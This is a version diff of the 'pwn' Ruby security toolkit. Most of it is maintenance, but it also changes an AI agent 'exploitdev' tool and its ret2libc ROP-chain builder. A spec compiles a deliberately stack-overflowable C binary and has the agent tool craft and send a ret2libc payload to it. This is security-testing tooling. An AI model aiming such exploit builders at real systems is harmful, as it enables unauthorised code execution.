pwn 0.5.745 → 0.5.746

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: f3d60fd604a668b531459517b97dfee6448f9485679bd4c25bfe3ec12090cee9
-  data.tar.gz: 64a4dd65248017933e877c03db222ce61741e60044a03a1c9c9a1297ca7a4fde
+  metadata.gz: aacb6a992222f92a5a198def002962a7f92105b68489ae2a9dd01fb9207332f9
+  data.tar.gz: d48b7f1c97a7a18bba283685075d887d9e539280abe3cc41064a88374e9bf355
 SHA512:
-  metadata.gz: 1792ff5aea6a7c406248ab0fd6647732c490e56450afdf768840f340b4d7b4847a2d2cd996ff1349b3ca1a1bbfc05be40310225345e675937cc16022aaad5ec3
-  data.tar.gz: 7155e5d3cfca02bda195d0b0f926b85d6cd95b306b570d5956484ae237d360b36628a979e2d98a2c5ce3008343c7cecc1d14f12d0a986dbc577923a9f7905930
+  metadata.gz: 614149c9170c27dad853ec23b90f3990ae9182001bd6d2b7e4b919095a003bc2b85b949946c834e32052e37ba0f4b785c59adbaeb127a1f90298025ec657cfe6
+  data.tar.gz: 40f3119856e9a6965b5977494fcb1afb4ea8ef13f226a7044353232be87a46dda4bd4970b6806677d327e18e53af6bb328852bd170fd4c9095821b8947222a5f

data/lib/pwn/ai/agent/tools/exploitdev.rb

@@ -22,6 +22,7 @@ PWN::AI::Agent::Registry.register(
         arch: { type: 'string' },
         offset: { type: 'integer' },
         extra: { type: 'string' },
+        pad: { type: 'integer' },
         cmd: { type: 'string' },
         host: { type: 'string' },
         port: { type: 'integer' },
@@ -55,7 +56,7 @@ PWN::AI::Agent::Registry.register(
     when 'io'
       PWN::Plugins::ExploitDev.io(kind: args[:kind] || 'process', cmd: args[:cmd] || args[:path], host: args[:host], port: args[:port])
     when 'ret2libc'
-      PWN::Plugins::ExploitDev.ret2libc(path: args[:path], offset: args[:offset], extra: args[:extra])
+      PWN::Plugins::ExploitDev.ret2libc(path: args[:path], offset: args[:offset], extra: args[:extra], pad: args[:pad])
     when 'checksec'
       PWN::Plugins::GDB.mitigations(binary: args[:path])
     else

data/lib/pwn/plugins/exploit_dev.rb

@@ -231,7 +231,9 @@ module PWN
         offset = (opts[:offset] || 72).to_i
         raise 'ERROR: missing pop rdi, system, or argument address' unless pop && system && arg
 
-        align = opts[:ret] || Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s == 'ret' }&.fetch(:address, nil)
+        align = opts[:ret]
+        align ||= pop + 1 if pop && Array(gadgets[:gadgets]).any? { |row| row[:address] == pop && row[:gadget].to_s.match?(/pop rdi; ret/i) }
+        align ||= Array(gadgets[:gadgets]).find { |row| row[:gadget].to_s == 'ret' && row[:address] != pop }&.fetch(:address, nil)
         packed = [pop, arg]
         packed << align if align && align != pop
         packed << system

data/lib/pwn/plugins/process_tube.rb

@@ -100,6 +100,8 @@ module PWN
           rescue IO::WaitReadable
             t[:r].wait_readable(0.2)
             retry
+          rescue EOFError
+            return consume_buf(tube: t, bytes: t[:buf].bytesize)
           end
         end
       end

data/lib/pwn/plugins/sbom.rb

@@ -81,21 +81,16 @@ module PWN
 
       private_class_method def self.run!(opts = {})
         argv = opts[:argv]
-        if Open3.respond_to?(:capture3)
-          out, err, st = Open3.capture3(*argv)
-          raise IOError, "#{argv.first} failed: #{err}" unless st.success? || opts[:allow_nonzero] == true
+        out, st = Open3.capture2(*argv)
+        raise IOError, "#{argv.first} failed" unless st.success? || opts[:allow_nonzero] == true
 
-        else
-          out, = Open3.capture2(*argv)
-        end
-        out
-      rescue Errno::ENOENT
-        out, = Open3.capture2(*opts[:argv])
         out
       end
 
       private_class_method def self.parse_grype(opts = {})
         out = run!(argv: ['grype', '-o', 'json', opts[:target]], allow_nonzero: true)
+        raise IOError, 'grype returned no JSON' if out.to_s.strip.empty?
+
         json = JSON.parse(out)
         Array(json['matches']).map do |row|
           art = row['artifact'] || {}

data/lib/pwn/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module PWN
-  VERSION = '0.5.745'
+  VERSION = '0.5.746'
 end

data/spec/lib/pwn/ai/agent/tools/exploitdev_spec.rb

@@ -27,25 +27,35 @@ describe 'PWN::AI::Agent::Tools exploitdev' do
         void keep(void) { __asm__ volatile("pop %rdi; ret"); }
         int main(int argc, char **argv) {
           char buf[64];
+          void *frame = __builtin_frame_address(0);
           (void)argv;
           if (argc > 100) { system(cmd); keep(); }
+          char line[32];
+          snprintf(line, sizeof(line), "%ld", (long)((char *)frame + sizeof(void *) - buf));
+          puts(line);
+          fflush(stdout);
           read(0, buf, 256);
           return 0;
         }
       C
-      out, status = Open3.capture2e('cc', '-O0', '-fno-stack-protector', '-no-pie', '-o', bin, src)
+      out, status = Open3.capture2e('cc', '-O0', '-fno-stack-protector', '-fno-pie', '-no-pie', '-o', bin, src)
       expect(status.success?).to eq(true), out
+      elf = File.binread(bin)
+      expect(elf[16, 2].unpack1('v')).to eq(2), 'cc produced a PIE binary; file addresses would not be the runtime addresses'
+      io = PWN::Plugins::ExploitDev.io(cmd: [bin], pty: false)
+      offset = PWN::Plugins::ProcessTube.recvuntil(id: io[:id], until: "\n", timeout: 3).to_i
+      expect(offset).to be > 64
       raw = PWN::AI::Agent::Dispatch.call(
-        tool_call: { function: { name: 'exploitdev', arguments: JSON.generate(action: 'ret2libc', path: bin, offset: 72, extra: 'cmd') } },
+        tool_call: { function: { name: 'exploitdev', arguments: JSON.generate(action: 'ret2libc', path: bin, offset: offset, extra: 'cmd') } },
         scope_path: File.join(dir, 'absent.yaml')
       )
       row = JSON.parse(raw, symbolize_names: true).fetch(:result)
+      row = JSON.parse(File.binread(row[:artifact][:path]), symbolize_names: true) if row[:artifact]
       expect(row[:payload]).not_to be_empty
       expect(row[:plt].keys.map(&:to_s)).to include('system')
       expect(row[:pop_rdi]).to be_a(Integer)
       packed = [row[:payload_hex] || row['payload_hex']].pack('H*')
       packed = row[:payload].to_s if packed.empty?
-      io = PWN::Plugins::ExploitDev.io(cmd: [bin], pty: false)
       PWN::Plugins::ProcessTube.send_raw(id: io[:id], bytes: packed)
       out = PWN::Plugins::ProcessTube.recvuntil(id: io[:id], until: 'RET2LIBC_OK', timeout: 3)
       expect(out.to_s).to include('RET2LIBC_OK')

data/spec/lib/pwn/plugins/jobs_spec.rb

@@ -32,12 +32,14 @@ describe PWN::Plugins::Jobs do
   end
 
   it 'survives an exited creator and records completion in a fresh session' do
-    row = fresh("puts JSON.generate(PWN::Plugins::Jobs.start(command: 'sleep 2; printf durable', max_runtime: 21600, session_id: 'old'))")
+    gate = File.join(@root, 'release')
+    row = fresh("puts JSON.generate(PWN::Plugins::Jobs.start(command: 'while [ ! -f #{gate} ]; do sleep 0.05; done; printf durable', max_runtime: 21600, session_id: 'old'))")
     expect(row[:status]).to eq('RUNNING')
     expect(row[:worker_pid]).to be_a(Integer)
     expect(row[:worker_identity]).not_to be_nil
     worker_session = Process.getsid(row[:worker_pid])
     expect(fresh("puts JSON.generate(PWN::Plugins::Jobs.status(id: '#{row[:id]}'))")[:status]).to eq('RUNNING')
+    File.write(gate, '1')
     done = finished(row[:id])
     expect(worker_session).to eq(row[:worker_pid])
     expect(done).to include(status: 'COMPLETED', exit_code: 0, max_runtime: 21_600, session_id: 'old')

metadata

@@ -1,7 +1,7 @@
 --- !ruby/object:Gem::Specification
 name: pwn
 version: !ruby/object:Gem::Version
-  version: 0.5.745
+  version: 0.5.746
 platform: ruby
 authors:
 - 0day Inc.